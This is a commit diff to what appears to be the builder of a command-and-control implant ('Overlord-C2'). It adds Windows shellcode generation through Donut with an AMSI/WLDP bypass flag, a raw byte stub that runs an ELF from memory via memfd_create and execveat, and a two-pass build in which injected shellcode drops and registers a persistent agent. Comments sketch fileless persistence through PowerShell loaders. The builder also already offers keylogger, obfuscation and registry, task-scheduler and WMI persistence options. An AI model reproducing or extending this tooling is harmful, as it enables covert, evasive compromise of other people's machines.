Shellcode clean (#21)
* feat: shellcode output via Donut (Windows) + memfd stub (Linux) - Donut (Windows): PE → PIC shellcode (.bin) via donut-manager.ts Flags: -f1 -a<arch> -b3 -x1 (continue on AMSI fail, thread exit) - Linux shellcode: 113-byte x86_64 memfd_create+execveat stub (linux-shellcode-manager.ts) wraps ELF for memfd_create+execveat - Two-pass build for shellcode+persistence: Pass 1 = normal agent with persist compiled in; Pass 2 = selfembed agent that drops+registers Pass 1 on first run (isRunningInMemory() gates the path) - Show console option: shellcode_console build tag calls AllocConsole() on start for debug builds; AttachConsole fallback included - isRunningInMemory() Windows: VirtualQuery on .data sentinel (MEM_PRIVATE = injected, MEM_IMAGE = normal disk load) replaces os.Executable() which returned host process path when injected - Build UI: Donut mode, Linux shellcode mode, show-console checkboxes; settings persisted across sessions via collectFormSettings() - GODEBUG=netdns=cgo hardcoded in build env (fixes IPv6 DNS on VPN) - Dockerfile: pre-seed Go module cache; add curl to runtime image - docker-compose.yml: switch healthcheck to wget (curl absent in slim) * fix: add missing shellcode UI functions and restore dynamic linking applyDonutMode, applyLinuxShellcodeMode, and updateShellcodeCheckboxVisibility were called throughout build.js but never defined, breaking platform selection and the build button. Add the missing implementations. Also remove forced -extldflags '-static' on Linux CGO builds; fully static glibc binaries cannot call dlopen, which broke native plugin loading entirely. * fix: call updateShellcodeCheckboxVisibility on page load Shellcode rows were hidden on initial load because the function was only wired to checkbox change events. Call it at startup and in applyFormSettings so pre-selected platforms correctly show their shellcode options immediately. * feat: Linux plugin subprocess shim for static-agent compatibility Static musl binaries cannot call dlopen. Introduce a small C shim (plugin_host.c) that is compiled at agent-build time into a dynamically-linked binary, embedded via go:embed, and fork+exec'd to load .so plugins on behalf of the static agent over a Unix socketpair. Empty placeholder files allow go:embed to compile without error; the real binaries are produced by build-process.ts before go build runs and are never committed. Documents the IPC protocol and build matrix in PLUGINS.md Section 12. * fix: define sp_memfd_create/sp_write_all in subproc CGO preamble CGO preamble functions are per-file translation units; so_memfd_create and so_write_all from loader_linux.go are not visible in loader_linux_subproc.go. Add local equivalents with sp_ prefix. * fix: use CGO helper for shim memfd_create instead of syscall.SYS_MEMFD_CREATE syscall.SYS_MEMFD_CREATE is not defined in Go stdlib syscall package. Replace with sp_memfd_create_nocloe() CGO helper (flags=0, no CLOEXEC). * fix: compile plugin host shim statically to avoid glibc version mismatch A dynamically-linked shim compiled on Debian Bookworm (glibc 2.36) fails on older glibc targets. Compile with -static so the shim is self-contained and runs on any glibc version. Static glibc can still call dlopen at runtime via the system ld-linux.so.2. Also surface subprocess errors instead of silently falling through to dlopen so failures are visible in the build log. * Restore docker build cache
This commit is contained in:
@@ -16,6 +16,8 @@ import {
|
||||
toolchainKeyForTarget,
|
||||
type EnsuredToolchain,
|
||||
} from "./toolchain-manager";
|
||||
import { runDonut } from "./donut-manager";
|
||||
import { buildLinuxShellcode } from "./linux-shellcode-manager";
|
||||
|
||||
function isClientModuleDir(dir: string): boolean {
|
||||
return (
|
||||
@@ -104,6 +106,9 @@ type BuildProcessConfig = {
|
||||
outputExtension?: string;
|
||||
sleepSeconds?: number;
|
||||
boundFiles?: BoundFile[];
|
||||
useDonut?: boolean;
|
||||
useLinuxShellcode?: boolean;
|
||||
shellcodeConsole?: boolean;
|
||||
solMemo?: boolean;
|
||||
solAddress?: string;
|
||||
solRpcEndpoints?: string;
|
||||
@@ -866,26 +871,45 @@ func runBoundFiles() {
|
||||
sendToStream({ type: "output", text: "Linux CGO: static linking enabled (avoids GLIBC version mismatch)\n", level: "info" });
|
||||
}
|
||||
|
||||
try {
|
||||
const buildTool = config.obfuscate ? "garble" : "go";
|
||||
const buildTags: string[] = [];
|
||||
if (config.noPrinting) buildTags.push("noprint");
|
||||
if (config.disableKeylogger) buildTags.push("nokeylogger");
|
||||
if (config.enableWebrtc) buildTags.push("overlord_webrtc");
|
||||
if (hasBoundFiles) buildTags.push("hasbinder");
|
||||
if (config.enablePersistence && os === "windows") {
|
||||
const methods = config.persistenceMethods && config.persistenceMethods.length > 0
|
||||
? config.persistenceMethods
|
||||
: ['startup'];
|
||||
if (methods.includes("startup")) buildTags.push("persist_startup");
|
||||
if (methods.includes("registry")) buildTags.push("persist_registry");
|
||||
if (methods.includes("taskscheduler")) buildTags.push("persist_taskscheduler");
|
||||
if (methods.includes("wmi")) buildTags.push("persist_wmi");
|
||||
// Compile the plugin host shim so the agent can embed it via //go:embed.
|
||||
// The shim is a small dynamically-linked binary that dlopen()s plugins on
|
||||
// behalf of the statically-linked agent (static musl cannot call dlopen).
|
||||
// We use the native 'cc' for amd64 (glibc, works on most servers) and the
|
||||
// musl cross-compiler for arm targets (works on musl/Alpine targets).
|
||||
if (os === "linux" && env.CGO_ENABLED === "1") {
|
||||
const pluginHostSrc = path.join(clientDir, "cmd/agent/plugins/plugin_host/plugin_host.c");
|
||||
if (fs.existsSync(pluginHostSrc)) {
|
||||
const archSuffix = actualArch === "amd64" ? "amd64"
|
||||
: actualArch === "arm64" ? "arm64"
|
||||
: "arm";
|
||||
const pluginHostOut = path.join(clientDir, `cmd/agent/plugins/plugin_host/plugin_host_${archSuffix}`);
|
||||
// For amd64 compile a fully static glibc binary (-static -ldl) so the
|
||||
// shim has no shared library dependencies and runs on any glibc version.
|
||||
// Static glibc can still call dlopen at runtime via the system ld-linux.so.2.
|
||||
// For cross-compiled arches use env.CC (musl cross-compiler) without -static.
|
||||
const hostCC = actualArch === "amd64" ? "cc" : (env.CC || "cc");
|
||||
const shimExtraFlags = actualArch === "amd64" ? ["-static"] : [];
|
||||
sendToStream({ type: "output", text: `Compiling plugin host shim (${archSuffix}) with ${hostCC}...\n`, level: "info" });
|
||||
try {
|
||||
const compileProc = $`${hostCC} -O2 -o ${pluginHostOut} ${pluginHostSrc} ${shimExtraFlags} -ldl`.nothrow();
|
||||
let compileOut = "";
|
||||
for await (const line of compileProc.lines()) { compileOut += line + "\n"; }
|
||||
const compileResult = await compileProc;
|
||||
if (compileResult.exitCode !== 0) {
|
||||
sendToStream({ type: "output", text: `Warning: plugin host shim compilation failed — plugins will fall back to direct dlopen:\n${compileOut}\n`, level: "warn" });
|
||||
} else {
|
||||
sendToStream({ type: "output", text: `Plugin host shim compiled: ${pluginHostOut}\n`, level: "info" });
|
||||
}
|
||||
} catch (err: any) {
|
||||
sendToStream({ type: "output", text: `Warning: plugin host shim compilation error — ${err?.message || err}\n`, level: "warn" });
|
||||
}
|
||||
}
|
||||
if (isIosTarget) buildTags.push("ios_target");
|
||||
const tagArg = buildTags.length > 0 ? `-tags "${buildTags.join(" ")}" ` : "";
|
||||
logger.info(`[build:${buildId.substring(0, 8)}] Building: ${buildTool} build ${tagArg}${ldflags ? `-ldflags="${ldflags}" ` : ""}-o ${outDir}/${outputName} ./cmd/agent`);
|
||||
logger.info(`[build:${buildId.substring(0, 8)}] Environment: GOOS=${effectiveOs} GOARCH=${actualArch} CGO_ENABLED=${env.CGO_ENABLED} CC=${env.CC || "<default>"}${isIosTarget ? " (iOS target via darwin+ios_target tag)" : ""}`);
|
||||
}
|
||||
|
||||
const isShellcodeMode = !!(config.useDonut || config.useLinuxShellcode);
|
||||
|
||||
try {
|
||||
logger.info(`[build:${buildId.substring(0, 8)}] GOOS=${os} GOARCH=${actualArch} CGO=${env.CGO_ENABLED} CC=${env.CC || "<default>"} shellcode=${isShellcodeMode}`);
|
||||
|
||||
const garbleFlags: string[] = [];
|
||||
if (config.obfuscate) {
|
||||
@@ -894,42 +918,76 @@ func runBoundFiles() {
|
||||
if (config.garbleSeed) garbleFlags.push(`-seed=${config.garbleSeed}`);
|
||||
}
|
||||
|
||||
const buildArgs: string[] = [];
|
||||
if (buildTags.length > 0) buildArgs.push("-tags", buildTags.join(" "));
|
||||
buildArgs.push("-trimpath");
|
||||
buildArgs.push("-buildvcs=false");
|
||||
if (ldflags) buildArgs.push(`-ldflags=${ldflags}`);
|
||||
buildArgs.push("-o", `${outDir}/${outputName}`, "./cmd/agent");
|
||||
// Base tags: always present regardless of build pass
|
||||
const baseTags: string[] = [];
|
||||
if (config.noPrinting) baseTags.push("noprint");
|
||||
if (config.disableKeylogger) baseTags.push("nokeylogger");
|
||||
if (config.enableWebrtc) baseTags.push("overlord_webrtc");
|
||||
if (hasBoundFiles) baseTags.push("hasbinder");
|
||||
if (isIosTarget) baseTags.push("ios_target");
|
||||
if (config.shellcodeConsole && isShellcodeMode && os === "windows") baseTags.push("shellcode_console");
|
||||
|
||||
let buildCmd;
|
||||
if (config.obfuscate) {
|
||||
const allArgs = [...garbleFlags, "build", ...buildArgs];
|
||||
buildCmd = $`garble ${allArgs}`;
|
||||
// Windows persistence tags (omitted in shellcode mode — handled by two-pass below)
|
||||
const winPersistTags: string[] = [];
|
||||
if (config.enablePersistence && os === "windows" && !isShellcodeMode) {
|
||||
const methods = config.persistenceMethods?.length ? config.persistenceMethods : ["startup"];
|
||||
if (methods.includes("startup")) winPersistTags.push("persist_startup");
|
||||
if (methods.includes("registry")) winPersistTags.push("persist_registry");
|
||||
if (methods.includes("taskscheduler")) winPersistTags.push("persist_taskscheduler");
|
||||
if (methods.includes("wmi")) winPersistTags.push("persist_wmi");
|
||||
}
|
||||
|
||||
const runBuild = async (tags: string[], outputPath: string) => {
|
||||
const buildArgs: string[] = [];
|
||||
if (tags.length > 0) buildArgs.push("-tags", tags.join(" "));
|
||||
buildArgs.push("-trimpath", "-buildvcs=false");
|
||||
if (ldflags) buildArgs.push(`-ldflags=${ldflags}`);
|
||||
buildArgs.push("-o", outputPath, "./cmd/agent");
|
||||
let buildCmd;
|
||||
if (config.obfuscate) {
|
||||
buildCmd = $`garble ${[...garbleFlags, "build", ...buildArgs]}`;
|
||||
} else {
|
||||
buildCmd = $`go build ${buildArgs}`;
|
||||
}
|
||||
const proc = buildCmd.env(env).cwd(clientDir).nothrow();
|
||||
for await (const line of proc.lines()) {
|
||||
const trimmed = line.trim();
|
||||
if (trimmed.length > 0) sendToStream({ type: "output", text: line + "\n", level: "info" });
|
||||
}
|
||||
const result = await proc;
|
||||
if (result.exitCode !== 0) {
|
||||
const stderrText = result.stderr.toString();
|
||||
if (stderrText) sendToStream({ type: "output", text: stderrText, level: "error" });
|
||||
throw new Error(`Build failed for ${platform} (exit ${result.exitCode})`);
|
||||
}
|
||||
};
|
||||
|
||||
// Two-pass build: shellcode + persistence
|
||||
if (isShellcodeMode && config.enablePersistence && !platform.startsWith("android-")) {
|
||||
const pass1Path = `${outDir}/${outputName}.pass1`;
|
||||
const pass1Tags = [...baseTags];
|
||||
if (os === "windows") {
|
||||
const methods = config.persistenceMethods?.length ? config.persistenceMethods : ["startup"];
|
||||
if (methods.includes("startup")) pass1Tags.push("persist_startup");
|
||||
if (methods.includes("registry")) pass1Tags.push("persist_registry");
|
||||
if (methods.includes("taskscheduler")) pass1Tags.push("persist_taskscheduler");
|
||||
if (methods.includes("wmi")) pass1Tags.push("persist_wmi");
|
||||
}
|
||||
sendToStream({ type: "output", text: `Two-pass shellcode+persistence build\n Pass 1: agent with persistence (tags: ${pass1Tags.join(" ")})\n`, level: "info" });
|
||||
await runBuild(pass1Tags, pass1Path);
|
||||
|
||||
const pass1Data = fs.readFileSync(pass1Path);
|
||||
const selfbinPath = path.join(clientDir, "cmd", "agent", "selfbinary.bin");
|
||||
fs.writeFileSync(selfbinPath, pass1Data);
|
||||
fs.unlinkSync(pass1Path);
|
||||
|
||||
const pass2Tags = [...baseTags, "selfembed"];
|
||||
sendToStream({ type: "output", text: ` Pass 2: selfembed wrapper (tags: ${pass2Tags.join(" ")})\n`, level: "info" });
|
||||
await runBuild(pass2Tags, `${outDir}/${outputName}`);
|
||||
try { fs.unlinkSync(selfbinPath); } catch {}
|
||||
} else {
|
||||
buildCmd = $`go build ${buildArgs}`;
|
||||
}
|
||||
|
||||
const proc = buildCmd.env(env).cwd(clientDir).nothrow();
|
||||
let result: any;
|
||||
for await (const line of proc.lines()) {
|
||||
const trimmed = line.trim();
|
||||
if (trimmed.length > 0) {
|
||||
sendToStream({ type: "output", text: line + "\n", level: "info" });
|
||||
}
|
||||
}
|
||||
|
||||
result = await proc;
|
||||
|
||||
logger.info(`[build:${buildId.substring(0, 8)}] Process exited with code: ${result.exitCode}`);
|
||||
|
||||
if (result.exitCode !== 0) {
|
||||
const stderrText = result.stderr.toString();
|
||||
if (stderrText) {
|
||||
sendToStream({ type: "output", text: stderrText, level: "error" });
|
||||
}
|
||||
const errorMsg = `Build failed with exit code ${result.exitCode}\n`;
|
||||
sendToStream({ type: "output", text: errorMsg, level: "error" });
|
||||
throw new Error(`Build failed for ${platform}`);
|
||||
const tags = [...baseTags, ...winPersistTags];
|
||||
await runBuild(tags, `${outDir}/${outputName}`);
|
||||
}
|
||||
|
||||
const filePath = `${outDir}/${outputName}`;
|
||||
@@ -1126,12 +1184,44 @@ func runBoundFiles() {
|
||||
}
|
||||
// ── End IPA packaging ─────────────────────────────────────────────────
|
||||
|
||||
// ── Donut: Windows PE → shellcode ──────────────────────────────────
|
||||
let finalOutputName = outputName;
|
||||
let finalOutputSize = finalSize;
|
||||
|
||||
if (config.useDonut && os === "windows") {
|
||||
sendToStream({ type: "status", text: `Converting ${platform} PE to shellcode…` });
|
||||
sendToStream({ type: "output", text: `\nConverting PE → shellcode with Donut...\n`, level: "info" });
|
||||
const scOutputName = deps.sanitizeOutputName(outputName.replace(/\.[^.]+$/, ".bin"));
|
||||
const binPath = path.join(outDir, scOutputName);
|
||||
const donutArch = (actualArch === "386" ? "386" : "amd64") as "386" | "amd64";
|
||||
const ok = await runDonut(filePath, binPath, donutArch, sendToStream);
|
||||
if (!ok) throw new Error(`Donut shellcode conversion failed for ${platform}`);
|
||||
try { fs.unlinkSync(filePath); } catch {}
|
||||
finalOutputName = scOutputName;
|
||||
finalOutputSize = Bun.file(binPath).size;
|
||||
sendToStream({ type: "output", text: `Shellcode ready: ${finalOutputSize} bytes → ${finalOutputName}\n`, level: "success" });
|
||||
}
|
||||
|
||||
// ── Linux ELF → shellcode stub ──────────────────────────────────────
|
||||
if (config.useLinuxShellcode && os === "linux") {
|
||||
sendToStream({ type: "status", text: `Wrapping ${platform} ELF as shellcode…` });
|
||||
sendToStream({ type: "output", text: `\nWrapping ELF with Linux shellcode stub...\n`, level: "info" });
|
||||
const scOutputName = deps.sanitizeOutputName(outputName + ".bin");
|
||||
const binPath = path.join(outDir, scOutputName);
|
||||
const ok = buildLinuxShellcode(filePath, binPath, sendToStream);
|
||||
if (!ok) throw new Error(`Linux shellcode wrap failed for ${platform}`);
|
||||
try { fs.unlinkSync(filePath); } catch {}
|
||||
finalOutputName = scOutputName;
|
||||
finalOutputSize = Bun.file(binPath).size;
|
||||
sendToStream({ type: "output", text: `Shellcode ready: ${finalOutputSize} bytes → ${finalOutputName}\n`, level: "success" });
|
||||
}
|
||||
|
||||
(build.files as any[]).push({
|
||||
name: outputName,
|
||||
filename: outputName,
|
||||
name: finalOutputName,
|
||||
filename: finalOutputName,
|
||||
platform,
|
||||
version: agentVersion,
|
||||
size: finalSize,
|
||||
size: finalOutputSize,
|
||||
});
|
||||
} catch (err: any) {
|
||||
const errorMsg = `[ERROR] Failed to build ${platform}: ${err.message || err}\n`;
|
||||
|
||||
@@ -0,0 +1,260 @@
|
||||
import fs from "fs";
|
||||
import path from "path";
|
||||
import { $ } from "bun";
|
||||
import { ensureDataDir } from "../paths";
|
||||
import { logger } from "../logger";
|
||||
|
||||
const DONUT_REPO = "TheWover/donut";
|
||||
const VERSION_TTL_MS = 24 * 60 * 60 * 1000; // re-check GitHub at most once per day
|
||||
|
||||
type CachedVersion = { tag: string; cachedAt: number };
|
||||
|
||||
function toolsDir(): string {
|
||||
return path.join(ensureDataDir(), "tools");
|
||||
}
|
||||
|
||||
function binaryPath(): string {
|
||||
return path.join(toolsDir(), process.platform === "win32" ? "donut.exe" : "donut");
|
||||
}
|
||||
|
||||
function versionFilePath(): string {
|
||||
return path.join(toolsDir(), "donut.version");
|
||||
}
|
||||
|
||||
function readCache(): CachedVersion | null {
|
||||
try { return JSON.parse(fs.readFileSync(versionFilePath(), "utf8")); } catch { return null; }
|
||||
}
|
||||
|
||||
function writeCache(tag: string): void {
|
||||
try {
|
||||
fs.mkdirSync(toolsDir(), { recursive: true });
|
||||
fs.writeFileSync(versionFilePath(), JSON.stringify({ tag, cachedAt: Date.now() }));
|
||||
} catch {}
|
||||
}
|
||||
|
||||
async function findSystemDonut(): Promise<string | null> {
|
||||
const systemCandidates = ["/usr/local/bin/donut", "/usr/bin/donut"];
|
||||
for (const c of systemCandidates) {
|
||||
if (fs.existsSync(c)) return c;
|
||||
}
|
||||
try {
|
||||
const r = await $`which donut`.quiet().nothrow();
|
||||
if (r.exitCode === 0) {
|
||||
const p = r.stdout.toString().trim();
|
||||
if (p) return p;
|
||||
}
|
||||
} catch {}
|
||||
return null;
|
||||
}
|
||||
|
||||
type AssetInfo = { tag: string; downloadUrl: string; isArchive?: boolean };
|
||||
|
||||
async function fetchLatest(): Promise<AssetInfo | null> {
|
||||
try {
|
||||
const res = await fetch(
|
||||
`https://api.github.com/repos/${DONUT_REPO}/releases/latest`,
|
||||
{ headers: { "User-Agent": "Overlord-C2", Accept: "application/vnd.github+json" } },
|
||||
);
|
||||
if (!res.ok) return null;
|
||||
const data = await res.json() as any;
|
||||
const tag: string = data.tag_name;
|
||||
const assets: { name: string; browser_download_url: string }[] = data.assets ?? [];
|
||||
|
||||
// Prioritised binary names for each host platform
|
||||
const candidates =
|
||||
process.platform === "win32"
|
||||
? ["donut.exe", "donut_x64.exe", "donut_x86_64.exe"]
|
||||
: ["donut_x64", "donut_x86_64", "donut-linux-x64", "donut-linux", "donut"];
|
||||
|
||||
for (const name of candidates) {
|
||||
const asset = assets.find(a => a.name.toLowerCase() === name.toLowerCase());
|
||||
if (asset) return { tag, downloadUrl: asset.browser_download_url };
|
||||
}
|
||||
|
||||
// Last-resort: any asset starting with "donut" with no extension (Linux binary)
|
||||
if (process.platform !== "win32") {
|
||||
const fallback = assets.find(a => /^donut/i.test(a.name) && !a.name.includes("."));
|
||||
if (fallback) return { tag, downloadUrl: fallback.browser_download_url };
|
||||
}
|
||||
|
||||
// Releases may only ship archives (e.g. v1.1 ships tar.gz/zip, no bare binary).
|
||||
// Fall back to downloading and extracting the archive.
|
||||
if (process.platform !== "win32") {
|
||||
const tarGz = assets.find(a => /donut/i.test(a.name) && a.name.endsWith(".tar.gz"));
|
||||
if (tarGz) return { tag, downloadUrl: tarGz.browser_download_url, isArchive: true };
|
||||
const zip = assets.find(a => /donut/i.test(a.name) && a.name.endsWith(".zip"));
|
||||
if (zip) return { tag, downloadUrl: zip.browser_download_url, isArchive: true };
|
||||
}
|
||||
|
||||
return null;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
async function downloadBinary(url: string, dest: string, isArchive = false): Promise<boolean> {
|
||||
try {
|
||||
fs.mkdirSync(path.dirname(dest), { recursive: true });
|
||||
const res = await fetch(url);
|
||||
if (!res.ok) return false;
|
||||
const buf = await res.arrayBuffer();
|
||||
|
||||
if (!isArchive) {
|
||||
fs.writeFileSync(dest, Buffer.from(buf), { mode: 0o755 });
|
||||
return true;
|
||||
}
|
||||
|
||||
// Archive (tar.gz): write to a temp file, then extract the 'donut' binary from it.
|
||||
const tmpArchive = dest + ".tmp.tar.gz";
|
||||
fs.writeFileSync(tmpArchive, Buffer.from(buf));
|
||||
try {
|
||||
const destDir = path.dirname(dest);
|
||||
// Try with --strip-components first (archive has a top-level dir), then without.
|
||||
let r = await $`tar xzf ${tmpArchive} --strip-components=1 -C ${destDir} ./donut`
|
||||
.nothrow().quiet();
|
||||
if (r.exitCode !== 0 || !fs.existsSync(dest)) {
|
||||
r = await $`tar xzf ${tmpArchive} -C ${destDir} donut`.nothrow().quiet();
|
||||
}
|
||||
if (!fs.existsSync(dest)) return false;
|
||||
fs.chmodSync(dest, 0o755);
|
||||
return true;
|
||||
} finally {
|
||||
try { fs.unlinkSync(tmpArchive); } catch {}
|
||||
}
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Ensures the Donut binary is present and up-to-date.
|
||||
* Downloads from the latest GitHub release if absent or the cached version
|
||||
* info is older than VERSION_TTL_MS.
|
||||
* Returns the path to the binary, or null if it could not be obtained.
|
||||
*/
|
||||
export async function ensureDonut(
|
||||
sendToStream?: (data: any) => void,
|
||||
): Promise<string | null> {
|
||||
const bin = binaryPath();
|
||||
const cached = readCache();
|
||||
const binExists = fs.existsSync(bin);
|
||||
const stale = !cached || Date.now() - cached.cachedAt > VERSION_TTL_MS;
|
||||
|
||||
const log = (text: string, level = "info") => {
|
||||
logger.info(`[donut] ${text.trim()}`);
|
||||
sendToStream?.({ type: "output", text: `${text}\n`, level });
|
||||
};
|
||||
|
||||
if (binExists && !stale) {
|
||||
log(`Donut: using cached ${cached!.tag}`);
|
||||
return bin;
|
||||
}
|
||||
|
||||
// Prefer a system-installed binary (e.g. pre-fetched in Docker image) before
|
||||
// hitting GitHub. If found, record it so future calls skip the check.
|
||||
const sysBinEarly = await findSystemDonut();
|
||||
if (sysBinEarly) {
|
||||
log(`Donut: using system binary at ${sysBinEarly}`);
|
||||
writeCache("system");
|
||||
return sysBinEarly;
|
||||
}
|
||||
|
||||
log("Donut: checking GitHub for latest release…");
|
||||
const latest = await fetchLatest();
|
||||
|
||||
if (!latest) {
|
||||
if (binExists) {
|
||||
log(`Donut: GitHub unreachable — using cached ${cached?.tag ?? "unknown"}`, "warn");
|
||||
return bin;
|
||||
}
|
||||
log("Donut: GitHub unreachable and no binary available", "error");
|
||||
return null;
|
||||
}
|
||||
|
||||
if (binExists && cached?.tag === latest.tag) {
|
||||
log(`Donut: already at latest (${latest.tag})`);
|
||||
writeCache(latest.tag); // refresh TTL
|
||||
return bin;
|
||||
}
|
||||
|
||||
log(`Donut: downloading ${latest.tag}…`);
|
||||
const ok = await downloadBinary(latest.downloadUrl, bin, latest.isArchive);
|
||||
if (!ok) {
|
||||
if (binExists) {
|
||||
log(`Donut: download failed — using cached ${cached?.tag ?? "unknown"}`, "warn");
|
||||
return bin;
|
||||
}
|
||||
log("Donut: download failed and no cached binary available", "error");
|
||||
return null;
|
||||
}
|
||||
|
||||
writeCache(latest.tag);
|
||||
log(`Donut: ready (${latest.tag})`);
|
||||
return bin;
|
||||
}
|
||||
|
||||
/**
|
||||
* Converts a Windows PE executable to position-independent shellcode using Donut.
|
||||
*
|
||||
* Flags used:
|
||||
* -f 1 raw shellcode output (no base64/C/etc wrapping)
|
||||
* -a 1|2 architecture (1=x86, 2=x64)
|
||||
* -b 2 bypass AMSI + WLDP by returning failure (abort) — avoids detection
|
||||
* -x 1 exit by thread exit, not process exit — prevents crashing the host
|
||||
*
|
||||
* NOTE — persistence in shellcode mode:
|
||||
* When the agent runs as shellcode injected into another process, os.Executable()
|
||||
* on Windows resolves to the HOST process binary via GetModuleFileNameW(NULL).
|
||||
* Persistence methods (startup, registry, taskscheduler, wmi) would therefore
|
||||
* register the HOST executable for autostart — not the agent — which is wrong.
|
||||
*
|
||||
* Theoretical fixes:
|
||||
* 1. Server-side stage-2 push: after first connection the server sends agent_update
|
||||
* with a PE binary (persistence-enabled). Agent writes it to disk + registers.
|
||||
* 2. Registry shellcode blob: store raw shellcode in a Run key with a PowerShell
|
||||
* loader stub that allocates RWX memory, copies the blob, and CreateThread's it.
|
||||
* Requires a new persist_shellcode_registry build tag in the agent.
|
||||
* 3. WMI/task scheduler with a PS one-liner that downloads and reflectively loads
|
||||
* the shellcode each time the trigger fires (fully fileless persistence).
|
||||
* 4. Self-droping: on first run, agent uses VirtualQuery on a known code pointer to
|
||||
* locate its own loaded image, writes it to a temp path, and registers from there.
|
||||
*/
|
||||
export async function runDonut(
|
||||
inputPe: string,
|
||||
outputBin: string,
|
||||
arch: "amd64" | "386",
|
||||
sendToStream: (data: any) => void,
|
||||
): Promise<boolean> {
|
||||
const bin = await ensureDonut(sendToStream);
|
||||
if (!bin) {
|
||||
sendToStream({ type: "output", text: "ERROR: Donut binary not available\n", level: "error" });
|
||||
return false;
|
||||
}
|
||||
|
||||
const archFlag = arch === "386" ? "1" : "2";
|
||||
|
||||
try {
|
||||
// -i flag required since donut v1 (previously positional arg)
|
||||
const result = await $`${bin} -f 1 -a ${archFlag} -b 3 -x 1 -o ${outputBin} -i ${inputPe}`
|
||||
.nothrow()
|
||||
.quiet();
|
||||
const stdout = result.stdout.toString().trim();
|
||||
if (stdout) {
|
||||
sendToStream({ type: "output", text: stdout + "\n", level: "info" });
|
||||
}
|
||||
if (result.exitCode !== 0) {
|
||||
const stderr = result.stderr.toString().trim();
|
||||
sendToStream({ type: "output", text: `Donut failed (exit ${result.exitCode})${stderr ? `: ${stderr}` : ""}\n`, level: "error" });
|
||||
return false;
|
||||
}
|
||||
const outSize = fs.existsSync(outputBin) ? fs.statSync(outputBin).size : 0;
|
||||
if (outSize === 0) {
|
||||
sendToStream({ type: "output", text: "Donut produced no output — check that the input PE is valid\n", level: "error" });
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
} catch (err: any) {
|
||||
sendToStream({ type: "output", text: `Donut error: ${err?.message ?? err}\n`, level: "error" });
|
||||
return false;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,65 @@
|
||||
import fs from "fs";
|
||||
import path from "path";
|
||||
|
||||
// 113-byte x86_64 Linux ELF-in-memory loader shellcode stub
|
||||
// Entry: executes ELF appended after stub via memfd_create + execveat (syscalls 319, 1, 322)
|
||||
// Layout after stub: [uint32le ELF size][ELF bytes]
|
||||
// Source: Overlord-Server/tools/elf_loader.asm
|
||||
const ELF_LOADER_STUB_X64 = new Uint8Array([
|
||||
0xe8, 0x02, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x5b, 0x48, 0x89, 0xdf, 0x6a,
|
||||
0x01, 0x5e, 0x68, 0x3f, 0x01, 0x00, 0x00, 0x58, 0x0f, 0x05, 0x48, 0x85,
|
||||
0xc0, 0x78, 0x4e, 0x50, 0x41, 0x5c, 0x48, 0x8d, 0x4b, 0x6c, 0x8b, 0x11,
|
||||
0x48, 0x8d, 0x71, 0x04, 0x85, 0xd2, 0x74, 0x1a, 0x52, 0x56, 0x41, 0x54,
|
||||
0x5f, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x5e, 0x5a, 0x48, 0x85,
|
||||
0xc0, 0x7e, 0x2a, 0x48, 0x01, 0xc6, 0x29, 0xc2, 0xeb, 0xe2, 0x6a, 0x00,
|
||||
0x48, 0x8d, 0x34, 0x24, 0x6a, 0x00, 0x48, 0x8d, 0x14, 0x24, 0x6a, 0x00,
|
||||
0x4c, 0x8d, 0x14, 0x24, 0x41, 0x54, 0x5f, 0x41, 0xb8, 0x00, 0x10, 0x00,
|
||||
0x00, 0x68, 0x42, 0x01, 0x00, 0x00, 0x58, 0x0f, 0x05, 0x6a, 0x01, 0x5f,
|
||||
0x6a, 0x3c, 0x58, 0x0f, 0x05,
|
||||
]);
|
||||
|
||||
/**
|
||||
* Wraps a Linux ELF binary in a position-independent shellcode stub.
|
||||
*
|
||||
* The result is raw x86_64 shellcode that, when executed, uses
|
||||
* memfd_create + execveat to load and run the embedded ELF entirely
|
||||
* from anonymous memory — no file is written to disk.
|
||||
*
|
||||
* Layout: [113-byte stub][4-byte LE ELF size][ELF bytes]
|
||||
*/
|
||||
export function wrapElfAsShellcode(elfBytes: Buffer): Buffer {
|
||||
const stub = ELF_LOADER_STUB_X64;
|
||||
const sizeBuf = Buffer.alloc(4);
|
||||
sizeBuf.writeUInt32LE(elfBytes.length, 0);
|
||||
return Buffer.concat([Buffer.from(stub), sizeBuf, elfBytes]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Reads elfPath, wraps it, writes shellcode to scPath.
|
||||
* Returns size of output on success.
|
||||
*/
|
||||
export function buildLinuxShellcode(
|
||||
elfPath: string,
|
||||
scPath: string,
|
||||
sendToStream: (data: any) => void,
|
||||
): boolean {
|
||||
try {
|
||||
const elfBytes = fs.readFileSync(elfPath);
|
||||
const sc = wrapElfAsShellcode(elfBytes);
|
||||
fs.mkdirSync(path.dirname(scPath), { recursive: true });
|
||||
fs.writeFileSync(scPath, sc);
|
||||
sendToStream({
|
||||
type: "output",
|
||||
text: `Linux shellcode: ${elfBytes.length} byte ELF → ${sc.length} byte stub (${sc.length - elfBytes.length} byte header)\n`,
|
||||
level: "info",
|
||||
});
|
||||
return true;
|
||||
} catch (err: any) {
|
||||
sendToStream({
|
||||
type: "output",
|
||||
text: `Linux shellcode wrap failed: ${err.message ?? err}\n`,
|
||||
level: "error",
|
||||
});
|
||||
return false;
|
||||
}
|
||||
}
|
||||
@@ -112,6 +112,9 @@ export async function handleBuildRoutes(
|
||||
sleepSeconds,
|
||||
boundFiles,
|
||||
iosBundleId,
|
||||
useDonut,
|
||||
useLinuxShellcode,
|
||||
shellcodeConsole,
|
||||
} = body;
|
||||
|
||||
if (!platforms || !Array.isArray(platforms) || platforms.length === 0) {
|
||||
@@ -380,6 +383,9 @@ export async function handleBuildRoutes(
|
||||
sleepSeconds: safeSleepSeconds,
|
||||
boundFiles: safeBoundFiles,
|
||||
iosBundleId: typeof iosBundleId === "string" && /^[a-zA-Z0-9.-]{1,128}$/.test(iosBundleId.trim()) ? iosBundleId.trim() : undefined,
|
||||
useDonut: !!useDonut,
|
||||
useLinuxShellcode: !!useLinuxShellcode,
|
||||
shellcodeConsole: !!shellcodeConsole,
|
||||
}).finally(() => {
|
||||
if (rateLimitActive) recordBuildEnd(user.userId);
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user